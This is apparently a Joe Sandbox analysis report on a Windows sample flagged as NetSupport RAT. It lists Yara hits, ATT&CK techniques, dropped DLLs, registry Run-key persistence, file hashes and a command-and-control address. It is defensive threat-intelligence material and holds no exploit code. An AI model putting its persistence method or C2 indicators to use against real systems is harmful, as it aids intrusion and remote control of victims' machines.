Source: Yara match	File source: 5.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe.5322800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.6cef0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.6c5d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.6cef0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.6cef0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1908011994.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.1906094191.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.1825297800.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1826623935.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1712834967.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.1987565229.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1988599605.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 8120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\bild.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	12 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	1 DLL Side-Loading	2 Valid Accounts	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	2 Valid Accounts	21 Access Token Manipulation	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Windows Service	1 Windows Service	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	13 Process Injection	1 Masquerading	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	13 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	58%	ReversingLabs	Win32.Trojan.NetSupport

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Netstat\HTCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICHEK.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICL32.DLL	12%	ReversingLabs
C:\Users\Public\Netstat\TCCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\bild.exe	29%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\Public\Netstat\msvcr100.dll	0%	ReversingLabs
C:\Users\Public\Netstat\pcicapi.dll	3%	ReversingLabs
C:\Users\Public\Netstat\remcmdstub.exe	13%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.pci.co.uk/support	0%	Avira URL Cloud	safe
http://45.76.253.210/fakeurl.htm	0%	Avira URL Cloud	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
http://www.pci.co.uk/supportsupport	0%	Avira URL Cloud	safe
http://127.0.0.1RESUMEPRINTING	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
http://www.netsupportschool.com/tutor-assistant.asp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geo.netsupportsoftware.com	104.26.1.231	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.76.253.210/fakeurl.htm	true	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.pci.co.uk/support	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspc	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false		high
http://www.pci.co.uk/supportsupport	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false		high
http://geo.netsupportsoftware.com/location/loca.asp7	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asp;	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asp2.	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1RESUMEPRINTING	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htm	bild.exe, bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspU	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp11(	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false		high
http://geo.netsupportsoftware.com/location/loca.aspLMEMH	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1	bild.exe, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false		high
http://geo.netsupportsoftware.com/location/loca.aspt	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.aspi	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false		high
http://geo.netsupportsoftware.com/location/loca.aspG	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://%s/fakeurl.htm	bild.exe, bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspM	bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.76.253.210	unknown	United States		20473	AS-CHOOPAUS	true
104.26.1.231	geo.netsupportsoftware.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580475
Start date and time:	2024-12-24 17:36:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Detection:	MAL
Classification:	mal96.rans.evad.winEXE@14/12@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 210 Number of non-executed functions: 154
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Simulations

Behavior and APIs

Time	Type	Description
11:37:33	API Interceptor	18129566x Sleep call for process: bild.exe modified
16:37:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\bild.exe
16:37:12	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\bild.exe
16:37:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\bild.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.1.231	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Update.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.26.0.231
	5j0fix05fy.js	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	lFxGd66yDa.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	Jjv9ha2GKn.exe	Get hash	malicious	NetSupport RAT, DarkTortilla	Browse	104.26.0.231
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Update.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	armv5l.elf	Get hash	malicious	Mirai	Browse	66.42.103.144
	jklm68k.elf	Get hash	malicious	Unknown	Browse	44.40.163.25
	nabsh4.elf	Get hash	malicious	Unknown	Browse	44.172.196.44
	nabarm5.elf	Get hash	malicious	Unknown	Browse	217.163.30.244
	nklx86.elf	Get hash	malicious	Unknown	Browse	45.76.237.246
	nklppc.elf	Get hash	malicious	Unknown	Browse	173.199.121.211
	armv6l.elf	Get hash	malicious	Unknown	Browse	44.168.169.170
	arm7.elf	Get hash	malicious	Mirai	Browse	44.168.169.177
	nsharm5.elf	Get hash	malicious	Mirai	Browse	45.32.145.147
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	45.77.195.36
CLOUDFLARENETUS	datasett.exe	Get hash	malicious	Unknown	Browse	104.26.3.46
	https://tb.ldpdljrr.ru/	Get hash	malicious	Unknown	Browse	104.21.30.230
	installer.msi	Get hash	malicious	Unknown	Browse	172.67.196.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.88.181
	badvbscript.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	172.67.201.143
	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	vce exam simulator 2.2.1 crackk.exe	Get hash	malicious	LummaC	Browse	104.21.33.227
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.199.72
	j6ks0Fxu6t.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Netstat\HTCTL32.DLL	https://tekascend.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse
	lFxGd66yDa.exe	Get hash	malicious	NetSupport RAT	Browse
	Jjv9ha2GKn.exe	Get hash	malicious	NetSupport RAT, DarkTortilla	Browse
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Users\Public\Netstat\HTCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lFxGd66yDa.exe, Detection: malicious, Browse Filename: Jjv9ha2GKn.exe, Detection: malicious, Browse Filename: 5q1Wm5VlqL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\NSM.LIC

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	false
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\Public\Netstat\PCICHEK.DLL

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
